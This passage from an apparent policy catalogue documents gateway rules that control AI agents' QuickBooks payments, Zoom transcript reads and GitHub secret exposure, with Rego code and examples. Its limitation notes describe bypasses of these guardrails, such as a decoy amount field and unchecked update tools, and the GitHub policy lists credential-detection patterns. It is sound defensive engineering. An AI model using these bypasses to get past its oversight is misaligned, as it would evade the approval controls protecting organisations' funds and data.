'drive-writers' group. Ask a user who is in that group to make this change for you, or request 'drive-writers' membership from your identity administrator. If this tool call was wrongly classified as a write, ask your InfoSec team to review this policy's suffix list." if { is_drive_write_tool not caller_may_write } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Gate QuickBooks Money-Movement by Finance Group URL: https://www.intentbasedpolicy.com/policies/quickbooks/gate-money-movement App(s): quickbooks | Direction: ingress | Bundles: sox, pci-dss | Package: quickbooks.ingress.gate_money_movement | Published: 2026-07-12 | Tags: quickbooks, gate-money-movement, ingress, sox, pci-dss Source: https://github.com/dtwoai/policy-store/blob/main/apps/quickbooks/gate-money-movement/policy.md # quickbooks / gate-money-movement **Direction:** ingress (`tool_pre_invoke`) **Default:** deny for money-movement tools unless the caller is in a finance group and the amount is under the ceiling; allow everything else **Package:** `quickbooks.ingress.gate_money_movement` ## What it does Gates the QuickBooks Online money-movement creation tools — `create_payment`, `create_bill_payment`, `create_refund_receipt`, `create_transfer`, and `create_deposit` — behind two checks, applied in order: 1. **Finance-group gate.** The call is denied unless the caller's IdP claims put them in the `finance` or `accounting` group. Everyone else (including callers with no group claim at all) is denied with a reason that points at the AP/AR owner in Finance. 2. **Amount ceiling.** For in-group callers, the policy sums the transaction amount from the known candidate fields and denies when the total exceeds a configurable ceiling (default **$5,000**), so larger disbursements are routed through the human approval workflow instead of being initiated by an agent. Reads (`get_*` / `search_*` / reports) and non-money-movement writes (`create_invoice`, `create_customer`, `update_*`, etc.) pass through unchanged — this policy only touches the five disbursement tools above. Compose it with the finance-group write gate and the delete/void freeze for full coverage. ### Fail-closed amount extraction QBO money-movement payloads do not expose one canonical amount field. The official `create_invoice` shape, for example, has **no top-level total** — the amount must be summed from `line_items[].qty * unit_price` — and the payment tools' exact amount-field names are **not verified** in the landscape note. So the policy reads the amount from several candidate sources and takes the **maximum** of everything it finds: - top-level scalar keys: `amount`, `Amount`, `total`, `total_amt`, `TotalAmt`, `total_amount` (covers the snake_case official wrapper and the raw-QBO PascalCase variants); - the official line-item sum: `sum(line_items[].qty * unit_price)`; - the raw-QBO line sum: `sum(Line[].Amount)`. Taking the maximum is deliberate: as long as the real amount lands in one of the recognized fields above, a caller cannot slip a large disbursement past the ceiling by *also* including a small decoy `amount` field — the max still sees the real one. The ceiling is applied to the **largest absolute value** among the candidates, so a large *negative* amount (a reversal or credit that still moves money in magnitude) is denied just like the equivalent positive — it cannot slip under the positive ceiling. If **no** parseable amount is found in **any** candidate source, the policy **fails closed** — the call is denied and the caller is asked to route it through the approval workflow. This max-of-candidates guard has one residual (see *Known limitations*): if the server's true amount lives in a field name this policy does **not** recognize *and* the caller adds a small recognized decoy (e.g. `amount: 1`), extraction "succeeds" on the decoy and the call is allowed while the real, larger amount is never counted. The fail-closed deny only fires when *no* recognized field is present at all. This is why `amount_keys` and the line-item paths **must** be reconciled against your server's live schema before the ceiling can be trusted. ## Compliance alignment - **SOX — ITGC access to programs & data** (least-privilege access to financial systems, **Enforceable** via PF-09/PF-12): only finance/accounting identities can initiate money movement over the agent channel. - **SOX — Rule 13a-15(f)(3), safeguarding of assets** (**Enforceable** via PF-09/PF-10): the amount ceiling caps agent-initiated disbursements, limiting the blast radius of a compromised or misdirected agent. - **SOX — Rule 13a-15(f)(2)(ii), transaction authorization** (**Partial** via PF-09 thresholds / PF-15): disbursements above the ceiling are forced onto the human approval workflow rather than being auto-authorized by the agent. - **SOC 2 CC6.3** (role-based access, least privilege, segregation of duties, **Enforceable** via PF-09/PF-12): the finance-group gate enforces a role boundary on the highest-risk QBO writes. - **PCI DSS Req 7.2.1 / 7.2.2 — least-privilege access model.** QuickBooks Online can process and store cardholder data — customer card payments and card refunds flow through `create_payment` / `create_refund_receipt` — so confining these money-movement tools to the finance/accounting role enforces a role-based, least-privilege access boundary on the card-touching disbursement operations over the agent channel (matrix PF-09 → 7.2.x). ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `quickbooks-mcp-create_payment`), and that prefix is not standardized. Matching is **case-insensitive** (`lower(input.resource.name)`) and **suffix-based** (`endswith`) on the five verb_entity names, so it stays portable across the Intuit official server, the Intuit Claude connector, and the LibreChat community server. Verify the exact tool names your gateway emits with the dump-input debug technique before relying on this in production. ## Argument shape Amounts are read from the candidate keys/paths listed under *Fail-closed amount extraction* above, always via `object.get(...)` with defaults, and coerced with `to_number` (so a non-numeric value simply doesn't count as a parseable amount). Group membership is read via `object.get(input.subject, "claims", {})` → `groups`, and matched case-insensitively against `finance` / `accounting`; a missing claims block yields no groups and therefore a deny. ## Examples ### Allowed — finance caller, under the ceiling ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "quickbooks-mcp-create_payment", "type": "tool" }, "subject": { "claims": { "groups": ["finance"] } }, "payload": { "name": "quickbooks-mcp-create_payment", "args": { "customer_ref": "42", "amount": 1200 } } } } ``` `allow = true`, no reason. ### Denied — caller not in a finance group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "quickbooks-mcp-create_transfer", "type": "tool" }, "subject": { "claims": { "groups": ["sales"] } }, "payload": { "name": "quickbooks-mcp-create_transfer", "args": { "amount": 300 } } } } ``` `allow = false`, reason points at the AP/AR owner. ### Denied — finance caller, over the ceiling ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "quickbooks-mcp-create_bill_payment", "type": "tool" }, "subject": { "claims": { "groups": ["accounting"] } }, "payload": { "name": "quickbooks-mcp-create_bill_payment", "args": { "amount": 7500 } } } } ``` `allow = false`, reason cites the $7500 total against the $5000 ceiling. ## Composition - **`quickbooks/role-gate-writes`** (PF-12) — the broader finance-group gate on all `create_*`/`update_*` writes; this policy narrows the disbursement subset with an amount ceiling on top. - **`quickbooks/freeze-destructive-ops`** (PF-06) — deny hard deletes/voids of transactions. - An **egress PII policy** on `get_employee`/`get_vendor` to mask SSN/bank fields. ## Known limitations - **Group names are placeholders — replace `finance` / `accounting` with your IdP's group names at import time.** Membership is read from `input.subject.claims.groups`; if your IdP emits roles under a different claim (e.g. Auth0 `permissions`, or a namespaced `https://acme.com/roles`), adjust `finance_groups` and the claim path. - **The ceiling is a constant.** Edit `amount_ceiling` in the Rego (default `5000`) to your organization's approval threshold; there is no per-request override. - **Amount-field names are unverified.** The candidate key list is derived from the official server's snake_case wrapper and the raw-QBO PascalCase shapes described in the landscape note, not from a verified live schema. Capture the live `tools/list` and a sample payload and extend `amount_keys` / the line-item paths if your server exposes the total under a different key. When a money-movement call carries **no** recognized amount field at all, extraction fails closed and the call is denied (safe). **Residual bypass:** if the real amount is in an unrecognized field *and* the caller also supplies a small recognized decoy (e.g. `amount: 1`), the decoy satisfies extraction and the call is allowed under the ceiling while the real amount goes uncounted. The max-of-candidates rule only defends across fields the policy already knows, so reconcile `amount_keys` / the line-item paths with the live schema before relying on the ceiling. - **Currency is ignored.** The ceiling is compared as a bare number; multi-currency companies should normalize before relying on the threshold. The ceiling bounds the **magnitude** (absolute value) of the total, so both large positive and large negative amounts are denied; a zero total (or a set of lines that nets to zero) is treated as no movement and passes. - **Suffix list is snake_case only.** Matching is `endswith` on the five `verb_entity` names (e.g. `create_payment`), which is portable across the surveyed servers (Intuit official, the Intuit Claude connector, and LibreChat — all snake_case). A server that named the same tool in camelCase (`createPayment`, no underscore) would **not** match the suffix and would pass through unchanged. This is not the case for any surveyed implementation, but confirm the exact tool strings your gateway emits with the dump-input technique before relying on this. - **The no-amount denial message hardcodes "$5,000".** If you change `amount_ceiling`, update that string too — only the over-ceiling reason interpolates the constant via `sprintf`; the no-amount reason is a fixed literal. - **Only the five `create_*` disbursement tools are gated.** The matching `update_*` tools (`update_payment`, `update_bill_payment`, `update_transfer`, `update_refund_receipt`, `update_deposit`) can also alter payee or amount on an existing disbursement, but they pass through this policy unchanged — for *any* caller, not just finance. That is by design (this policy owns the ceiling; the finance-group boundary on all writes belongs to `role-gate-writes`), but it means this policy alone does **not** stop a non-finance caller from mutating a payment via `update_*`. Deploy it together with `quickbooks/role-gate-writes`. - **Parameterized servers not covered.** The archived hvkshetry server exposes money movement through a single `transaction` tool with the verb in an `operation` argument; a suffix match on `create_*` does not see it, so such a call passes through unchanged. Add an argument-level rule (inspect `input.payload.args.operation` / `entity_type`) if that server is in scope. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package quickbooks.ingress.gate_money_movement # Deny-by-default: money-movement tools are only permitted by the explicit allow # rules below. Non-money-movement tools are allowed by the pass-through rule. default allow := false # Configurable disbursement ceiling (USD). Edit to your approval threshold. amount_ceiling := 5000 # IdP groups permitted to initiate money movement. Placeholders — replace with # your IdP's group names at import time. finance_groups := {"finance", "accounting"} # Money-movement creation tools, matched case-insensitively by suffix so the # gateway's server-name prefix (e.g. `quickbooks-mcp-`) doesn't matter. money_movement_suffixes := [ "create_payment", "create_bill_payment", "create_refund_receipt", "create_transfer", "create_deposit", ] # Top-level scalar keys that may carry the transaction total. Covers the official # snake_case wrapper and the raw-QBO PascalCase variants; unverified, so extraction # fails closed if none match. amount_keys := ["amount", "Amount", "total", "total_amt", "TotalAmt", "total_amount"] is_money_movement_tool if { name := lower(input.resource.name) some suffix in money_movement_suffixes endswith(name, suffix) } # Caller is in a finance/accounting group. Reads claims via object.get and fails # closed: no claims / no groups => not in group => denied. caller_in_finance_group if { claims := object.get(input.subject, "claims", {}) groups := object.get(claims, "groups", []) some g in groups finance_groups[lower(g)] } # --- Candidate amounts (a set; take the max as the enforced total) --- # Scalar top-level amount fields. candidate_amounts contains n if { some key in amount_keys raw := object.get(input.payload.args, key, null) raw != null n := to_number(raw) } # Official line-item sum: sum(qty * unit_price). Only lines with both fields present # and numeric contribute; if none do, no candidate is produced (fail closed). candidate_amounts contains total if { items := object.get(input.payload.args, "line_items", []) count(items) > 0 amounts := [(q * p) | some item in items raw_q := object.get(item, "qty", null) raw_p := object.get(item, "unit_price", null) raw_q != null raw_p != null q := to_number(raw_q) p := to_number(raw_p) ] count(amounts) > 0 total := sum(amounts) } # Raw-QBO line sum: sum(Line[].Amount). candidate_amounts contains total if { items := object.get(input.payload.args, "Line", []) count(items) > 0 amounts := [a | some item in items raw_a := object.get(item, "Amount", null) raw_a != null a := to_number(raw_a) ] count(amounts) > 0 total := sum(amounts) } amount_found if { count(candidate_amounts) > 0 } # The enforced total is the largest-MAGNITUDE candidate found: we take the max of # the absolute values so a large negative amount (e.g. a reversal that still moves # money) cannot slip under the positive ceiling. Undefined when the set is empty, # so any rule that references it fails closed. total_amount := max([abs(c) | some c in candidate_amounts]) # --- Allow rules --- # Everything that isn't a money-movement tool passes through (reads, reports, # non-money-movement writes). allow if { not is_money_movement_tool } # Money movement is allowed only for in-group callers whose parseable total is at # or below the ceiling. If no amount was parsed, total_amount is undefined and this # body fails => deny. allow if { is_money_movement_tool caller_in_finance_group total_amount <= amount_ceiling } # --- Deny reasons --- reasons contains "This QuickBooks money-movement tool is limited to callers in the finance or accounting group. Ask the AP/AR owner in Finance to run this disbursement, or request finance-group membership from your IdP administrator if this is a mistake." if { is_money_movement_tool not caller_in_finance_group } reasons contains "This money-movement call was denied because no transaction amount could be read from the request, so the $5,000 approval ceiling cannot be verified. Route this disbursement through the human approval workflow, or resend with an explicit amount if you believe this is a false positive." if { is_money_movement_tool caller_in_finance_group not amount_found } reasons contains msg if { is_money_movement_tool caller_in_finance_group amount_found total_amount > amount_ceiling msg := sprintf("This money-movement call totals $%v, which exceeds the $%v ceiling for agent-initiated disbursements. Route amounts above the ceiling through the human approval workflow.", [total_amount, amount_ceiling]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Gate Zoom Transcripts & Recordings by Group URL: https://www.intentbasedpolicy.com/policies/zoom/guard-transcripts-by-group App(s): zoom | Direction: ingress | Bundles: hipaa, gdpr-ccpa, soc2 | Package: zoom.ingress.guard_transcripts_by_group | Published: 2026-07-12 | Tags: zoom, guard-transcripts, ingress, hipaa, gdpr-ccpa, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/zoom/guard-transcripts-by-group/policy.md # zoom / guard-transcripts-by-group **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `zoom.ingress.guard_transcripts_by_group` ## What it does Gates retrieval of Zoom meeting **transcripts, AI Companion summaries, and next-steps** on the connector's core egress tools, enforcing minimum-necessary access: - `*get_recording_resource` - `*get_recording_transcript` - `*get_meeting_assets` Two independent checks run at ingress, before the call reaches the Zoom MCP server: 1. **Sensitive-asset gate.** If the requested `types` include `transcript`, `summary`, or `next_steps` — **or** `types` is missing/empty (treated as a full-asset request, fail closed) — the call is denied unless the caller's IdP groups (`input.subject.claims.groups`) include the transcript-reader group (placeholder `zoom-transcript-readers`). 2. **Passcode gate.** Any of these calls that set `raw_passcode` or `encode_passcode` is denied unless the caller's groups include the recording-admin group (placeholder `zoom-admins`), because recording passcodes are shareable credentials. A **`get_recording_resource`** call that requests only non-sensitive assets (e.g. `types: ["playback"]`) and sets no passcode parameter passes through, because that tool honors the `types` selector. **`get_meeting_assets`** and **`get_recording_transcript`** do **not** honor a `types` selector — the server returns the full asset bundle (AI summary, recordings, transcript) regardless — so every call to them is always treated as a sensitive full-asset request and a decoy `types: ["playback"]` cannot downgrade it. All non-guarded tools (search, chat, docs) pass through unchanged — compose separate policies for those surfaces. Verbatim transcripts and AI Companion summaries routinely carry PII by default, PHI in healthcare tenants, and deal/HR content elsewhere, so this restricts the connector's primary egress surface to callers whose IdP group entitles them to it. ## Compliance alignment - **HIPAA §164.502(b) / §164.514(d)** — supports the minimum-necessary standard and role-based access limits by restricting transcript/summary/recording retrieval to an entitled group; **§164.308(a)(4)** — supports information access management on the agent channel. - **SOC 2 CC6.3** — supports role-based access and least privilege by gating a sensitive read on IdP-group membership; **CC6.1** — supports logical access security over protected assets. - **GDPR Art. 5(1)(c)** — supports data minimisation by limiting who can pull verbatim meeting content; **Art. 9** — supports the handling of special-category data (health/other sensitive content that surfaces in transcripts); **CCPA/CPRA §1798.121** — supports the right to limit use of sensitive personal information. All alignment is on the MCP path only (see the compliance note below). ## Tool name matching Zoom's official workspace server uses **bare snake_case verbs with no vendor prefix** (`get_recording_resource`, `get_meeting_assets`), so only the gateway server-name prefix disambiguates. The policy therefore matches by **suffix** on `lower(input.resource.name)`: - `*get_recording_resource` - `*get_recording_transcript` - `*get_meeting_assets` The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `zoom-workspace-get_recording_resource`); that prefix is not standardized across deployments, so suffix matching keeps the policy portable. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. Community-server tool names (`get_recording_transcript` from `echelon-ai-labs/zoom-mcp`) are also matched by suffix. ## Argument shape - **`types`** is read from `input.payload.args` with `object.get`. It is normalized to a lowercased **set of tokens** whether the server sends an array (`["transcript"]`), a bare string (`"transcript"`), or a delimited/padded string. Each string value is split on commas and whitespace and trimmed, so `"transcript,summary"`, `"transcript summary"`, and `[" transcript"]` all resolve to the sensitive tokens they contain and are gated. The final sensitive-type test is a **substring** check, not exact set membership, so even a selector that uses a delimiter the tokenizer does not split on — a server variant accepting `"transcript;summary"` or `"transcript|playback"` — still trips the gate, because the joined token still *contains* `transcript`. Splitting is on commas/whitespace only, never underscores, so `next_steps` stays intact. A missing or empty `types` is treated as a full-asset request and requires the transcript-reader group (fail closed). - **`raw_passcode` / `encode_passcode`** are read from `input.payload.args`. A parameter counts as "set" when present and truthy (a non-empty string, or boolean `true`); `encode_passcode: false` or an empty string is not treated as a passcode request. - **Groups** are read via `object.get(input.subject, "claims", {})` → `groups`, defaulting to `[]`. A missing `subject`, missing `claims`, or missing `groups` yields no group and therefore denies (fail closed for the grant). ## Examples ### Allowed — caller is in the transcript-reader group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "zoom-workspace-get_recording_resource", "type": "tool" }, "payload": { "name": "zoom-workspace-get_recording_resource", "args": { "meetingId": "8891234567", "types": ["transcript"] } }, "subject": { "claims": { "groups": ["zoom-transcript-readers"] } } } } ``` `allow = true`, no reason. ### Denied — transcript requested without the group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "zoom-workspace-get_recording_resource", "type": "tool" }, "payload": { "name": "zoom-workspace-get_recording_resource", "args": { "meetingId": "8891234567", "types": ["summary"] } }, "subject": { "claims": { "groups": ["marketing"] } } } } ``` `allow = false`, transcript-reader reason. ### Denied — passcode requested by a non-admin ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "zoom-workspace-get_recording_resource", "type": "tool" }, "payload": { "name": "zoom-workspace-get_recording_resource", "args": { "meetingId": "8891234567", "types": ["playback"], "raw_passcode": "Z00m!pass" } }, "subject": { "claims": { "groups": ["zoom-transcript-readers"] } } } } ``` `allow = false`, recording-admin reason. ## Composition This policy is single-purpose (an ingress access gate). Useful companions on the Zoom connector: - An **egress PII/PHI redaction** policy on `*get_recording_resource` / `*get_meeting_assets` / `*get_file_content` responses, so content that this gate does let through is still masked (defense in depth — this ingress gate cannot inspect what the transcript actually contains). - A **fence-agentic-search** policy on `*search_zoom` to stop the connector fanning out into Salesforce/Workday/ServiceNow. - A **no-trash / no-passcode** transform on `*recordings_list`. ## Known limitations - **Group names are placeholders — replace `zoom-transcript-readers` and `zoom-admins` with your IdP's group names at import time.** They are matched exactly against `input.subject.claims.groups`; a case or spelling mismatch denies (fail closed). - **Placeholder-claim trust.** The gate trusts `input.subject.claims.groups` as asserted by the IdP-issued JWT. If your IdP does not populate `groups` (Auth0, for example, does not emit role/group claims without explicit configuration), every caller is denied until the claim is wired up. Confirm the claim shape with `dtwo-list-claims` / the dump-input technique before deployment. - **Ingress cannot read content.** This gate decides on the request (tool + `types` + passcode + group), not on what the transcript contains. It cannot tell a PHI-laden transcript from a benign one — pair it with an egress redaction policy. - **Delimiter robustness (red-team hardened).** The sensitive-type match is a substring test over comma/whitespace-tokenized values, so a `types` selector that joins tokens with an unsupported delimiter (`transcript;summary`, `transcript|playback`) is still gated. The one residual is a delimiter inserted *inside* a sensitive word itself (e.g. `trans;cript`) — that would defeat the substring test, but the upstream server would not recognize it as a valid asset type either, so no transcript is returned. If a real server variant tolerates intra-word separators, add the variant spelling to `sensitive_types`. - **`types` key assumption.** The sensitive-asset gate keys off an argument named `types` on `get_recording_resource`, consistent with the workspace server's schema (verified against Zoom's own Claude Code skill). `get_recording_transcript` (community `echelon-ai-labs/zoom-mcp`) and `get_meeting_assets` take no `types` argument, so every call to them is treated as a full-asset request and requires the transcript-reader group. If a server variant carries the asset selector under a different key, that key is not inspected — the fail-closed default still applies, but add the key to the Rego if a variant uses it. The **Meetings / Revenue Accelerator sub-server** tool names could not be verified from public docs (per the landscape note); if those servers expose transcript reads under other suffixes, extend `is_guarded_tool`. - **Batch / raw-API passthrough.** Zoom's official server exposes no batch or raw-API tool, so there is no in-connector way to smuggle a guarded call under a different name. A future aggregator or passthrough tool would bypass suffix matching — pair with a `deny-escape-hatches` policy if one appears. - **Recording media (`playback`) is not gated by design.** `sensitive_types` covers the text artifacts (`transcript`, `summary`, `next_steps`). A `get_recording_resource` request for `types: ["playback"]` — the audio/video recording itself, which carries the same verbatim content as the transcript — passes through for any caller. This is deliberate (the gate targets transcript/summary text and playback is often a link, not content), but if your tenant treats the recording media as equally sensitive, add `"playback"` (and any recording-media selector your server uses) to `sensitive_types`. This downgrade only applies to `get_recording_resource`; `get_meeting_assets` / `get_recording_transcript` are always gated regardless of `types`. - **Bypass residual — no host-ownership check.** This gate does not verify the caller hosted the meeting; it gates purely on group membership. A transcript-reader can retrieve transcripts for meetings they did not attend. Add a host-metadata predicate if your tenant needs per-meeting scoping. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package zoom.ingress.guard_transcripts_by_group # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Placeholder IdP group names — map these to your tenant's IdP groups at import. transcript_reader_group := "zoom-transcript-readers" admin_group := "zoom-admins" # Asset types that carry verbatim meeting content (PII/PHI/deal/HR-sensitive). sensitive_types := {"transcript", "summary", "next_steps"} # --- Tool identification ------------------------------------------------- # Tool name, lowercased and defended against a missing resource/name. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # The Zoom transcript/recording/assets egress tools. Zoom's official workspace # server uses bare snake_case verbs with no vendor prefix, so only the gateway # server-name prefix disambiguates — match by suffix to stay portable. is_guarded_tool if endswith(tool_name, "get_recording_resource") is_guarded_tool if endswith(tool_name, "get_recording_transcript") is_guarded_tool if endswith(tool_name, "get_meeting_assets") # The only guarded tool that actually honors a `types` asset selector, so a # `types` value that names no sensitive asset can legitimately downgrade the # request to a non-sensitive read. type_selectable_tool if endswith(tool_name, "get_recording_resource") # Any guarded tool that does NOT honor `types` (get_recording_transcript, # get_meeting_assets — and any future guarded tool) inherently returns verbatim # transcript/summary content and is ALWAYS a sensitive-asset request. A decoy # `types: ["playback"]` on these tools must not downgrade the request, because # the server ignores the selector and returns the full asset bundle anyway. always_sensitive_tool if { is_guarded_tool not type_selectable_tool } # --- Argument extraction ------------------------------------------------- # Tool arguments, defended against a missing payload/args. args := object.get(object.get(input, "payload", {}), "args", {}) # The requested asset selector as provided (array, string, or missing). raw_types := object.get(args, "types", []) # Split one string value into lowercased, whitespace-trimmed, non-empty tokens. # Splits on commas and whitespace (but NOT underscores, so "next_steps" stays # intact) so a delimited or padded selector like "transcript,summary", # "transcript summary", or " transcript" cannot smuggle a sensitive type past # exact set membership. type_tokens(s) := {tok | some part in regex.split(`[,\s]+`, s) tok := lower(part) tok != "" } # Normalize `types` to a lowercased set whether it arrives as an array (of # strings) or a bare string; each string element is tokenized as above. requested_types contains tok if { is_array(raw_types) some elem in raw_types is_string(elem) some tok in type_tokens(elem) } requested_types contains tok if { is_string(raw_types) some tok in type_tokens(raw_types) } # The request names one of the sensitive asset types. Match by SUBSTRING on the # tokenized value (not just exact set membership) so a selector using a delimiter # our tokenizer does not split on — e.g. a server variant that accepts # "transcript;summary" or "transcript|playback" — still trips the gate: the joined # token "transcript;summary" still contains the sensitive token "transcript". # Known non-sensitive selectors ("playback", "playback_url") contain no sensitive # substring, so this does not over-block legitimate non-sensitive reads. names_sensitive_type if { some t in requested_types some s in sensitive_types contains(t, s) } # Fail closed: no usable `types` at all is treated as a full-asset request. empty_types_request if { count(requested_types) == 0 } # Tools that don't honor a selector are always sensitive. sensitive_request if always_sensitive_tool # On the type-selectable tool, a sensitive type name gates the call. sensitive_request if { type_selectable_tool names_sensitive_type } # On the type-selectable tool, a missing/empty selector is a full-asset request. sensitive_request if { type_selectable_tool empty_types_request } # --- Passcode detection -------------------------------------------------- # A passcode parameter counts as "set" when present and truthy: a non-empty # string or boolean true. `encode_passcode: false` / "" is not a request. passcode_present(v) if { v != "" v != false v != null } sets_passcode if { passcode_present(object.get(args, "raw_passcode", "")) } sets_passcode if { passcode_present(object.get(args, "encode_passcode", "")) } # --- Identity ------------------------------------------------------------ # Caller's IdP groups; missing subject/claims/groups yields [] (fail closed). caller_groups := groups if { claims := object.get(object.get(input, "subject", {}), "claims", {}) groups := object.get(claims, "groups", []) } has_transcript_reader_group if { some g in caller_groups g == transcript_reader_group } has_admin_group if { some g in caller_groups g == admin_group } # --- Deny conditions ----------------------------------------------------- # Block sensitive-asset retrieval without the transcript-reader group. transcript_block if { is_guarded_tool sensitive_request not has_transcript_reader_group } # Block passcode retrieval without the recording-admin group. passcode_block if { is_guarded_tool sets_passcode not has_admin_group } # --- Allow rules --------------------------------------------------------- # Any tool that isn't a guarded transcript/recording/assets call passes. allow if not is_guarded_tool # Guarded calls pass only when neither deny condition fires. allow if { is_guarded_tool not transcript_block not passcode_block } # --- Deny reasons -------------------------------------------------------- reasons contains "Meeting transcripts, summaries, and next-steps are restricted. Retrieving them requires membership in the transcript-reader group (placeholder \"zoom-transcript-readers\"). Ask your workspace administrator to grant you that group, or request a non-transcript asset instead. If you believe you already have this access, ask your admin to verify your IdP group mapping." if { transcript_block } reasons contains "Retrieving a recording passcode (raw_passcode/encode_passcode) requires membership in the recording-admin group (placeholder \"zoom-admins\"), because recording passcodes are shareable credentials. Ask an administrator to retrieve the passcode-protected recording for you." if { passcode_block } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### GitHub: Redact Secrets from Read Responses URL: https://www.intentbasedpolicy.com/policies/github/redact-secrets-egress App(s): github | Direction: egress | Bundles: soc2 | Package: github.egress.redact_secrets | Published: 2026-07-12 | Tags: github, redact-secrets, secrets, dlp, redaction, egress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/github/redact-secrets-egress/policy.md # github / redact-secrets-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `github.egress.redact_secrets` ## What it does Scans the responses of GitHub's crown-jewel read tools and masks known credential shapes with a fixed `[REDACTED-SECRET]` marker before the text enters agent context. Source code, CI logs, and diffs routinely contain keys that were committed to a repo; this policy keeps those keys from being surfaced verbatim to the model on the main exfiltration channel into agent context. It is **transform-only** (`default allow := true`): it never blocks the read and never changes any field other than the returned text. A matched substring is replaced in place; everything around it — file paths, line context, diff hunks, log lines — is preserved so the response stays useful. Responses with no matches (and every out-of-scope tool) pass through byte-identical. The credential regex family is the **same set applied by the ingress secret block** (`apps/github/block-secrets-commits`): AWS access-key IDs and secret-access-keys, GitHub personal-access tokens (classic + fine-grained), Slack tokens, Stripe live secret keys, Google API keys, OpenAI API keys, PEM private-key headers, and generic `key: value` / `key=value` secrets. Ingress stops a caller from *committing* a secret; this egress policy stops the agent from *reading back* a secret that was already committed before the gateway was in place (or through a path the gateway does not front). | Class | Detection | Marker | |---|---|---| | Generic `key: value` secret | `password`/`token`/`api_key`/`secret_key`/`client_secret` etc. in `key: value` or `key=value` form (case-insensitive) | `[REDACTED-SECRET]` | | AWS access key ID | `AKIA` + 16 upper-alphanumeric | `[REDACTED-SECRET]` | | AWS secret access key | `aws`-anchored 40-char base64-ish run | `[REDACTED-SECRET]` | | GitHub PAT (classic) | `ghp_` + 36 | `[REDACTED-SECRET]` | | GitHub PAT (fine-grained) | `github_pat_` + 82 | `[REDACTED-SECRET]` | | Slack token | `xoxb-`/`xoxp-`/`xoxa-`/`xoxr-`/`xoxs-` | `[REDACTED-SECRET]` | | Stripe live secret key | `sk_live_` + 24+ | `[REDACTED-SECRET]` | | Google API key | `AIza` + 35 | `[REDACTED-SECRET]` | | OpenAI API key | `sk-` + 20+ | `[REDACTED-SECRET]` | | PEM private-key header | `-----BEGIN … PRIVATE KEY-----` | `[REDACTED-SECRET]` | ## Compliance alignment - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking credentials in GitHub content as it leaves the gateway toward the agent (the read-surface counterpart to the ingress `block-secrets-commits` control). - **SOC 2 C1.1** — supports identification and protection of confidential information on the read path: committed credentials are confidential and are masked before they reach agent context. - **GDPR Art. 5(1)(f) / Art. 32** — supports security of processing: keeping authentication secrets (which can unlock systems holding personal data) out of agent context reduces the blast radius of a prompt-injection or a leaked transcript. This is a data-masking / security-of-processing control on the main exfiltration channel into agent context. ## Why egress The secret already lives in the repo, the CI log, or the diff — there is nothing to block at ingress, and denying the read outright would make source code unusable to the agent. The leak happens when file-derived text is returned to the MCP client, so the response path is the only place to catch it while keeping the content useful. (The ingress `block-secrets-commits` policy handles the write direction — stopping *new* secrets from being committed.) ## Tool name matching Applies on the output path — scoped when `input.mode == "output"`, `input.action == "tool_post_invoke"`, or the legacy `input.kind == "tool_post_invoke"` holds, so redaction still fires on a gateway build that populates only one of the three (keying on `mode` alone — or on `action` alone where an older build emits only the legacy `kind` — would fail open if that field were unset). Tools are matched case-insensitively **by suffix**, so it works regardless of the MCP server-name prefix the gateway adds (`github-mcp-…`, `gh-prod-…`, etc.). The tool name is read from all three egress surfaces — `input.resource.name`, `input.tool_metadata.name`, and `input.payload.name` — and a suffix hit on **any** of them puts the call in scope, so a gateway that populates a different surface can't slip content past the scanner. Official server (`github/github-mcp-server`, names verified from the landscape research) crown-jewel read surfaces: - `get_file_contents` — file bodies across every repo the grant reaches. - `search_code` — returns matched code snippets. - `get_job_logs` — CI/Actions logs (a frequent home for echoed secrets). - `pull_request_read` — the consolidated PR reader whose `get_diff` / `get_files` methods return code. - `get_commit` — the single-commit reader returns the commit's file patches (added/removed lines), the same committed-secret content an agent would otherwise read through `get_file_contents`. Included so the file-read scan can't be sidestepped by fetching the commit instead. Shared verbatim by the community server. Archived community server (`@modelcontextprotocol/server-github`) equivalents, matched by their granular names: `get_file_contents` and `search_code` are shared verbatim; `get_pull_request_files` is the community counterpart to the official `pull_request_read(get_files)` surface. Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production, and add suffixes for any other content-returning read tools your deployment exposes. ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each string block. Non-string blocks (structured/JSON content) pass through unmodified. When at least one block changes, the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys preserved). When nothing matches, the `transform` rule is undefined and the aggregator returns the response unchanged. ## Examples ### Redacted (file read containing a committed AWS key) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "github-mcp-get_file_contents", "type": "tool" }, "payload": { "name": "github-mcp-get_file_contents", "text": ["const key = 'AKIAIOSFODNN7EXAMPLE';"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = 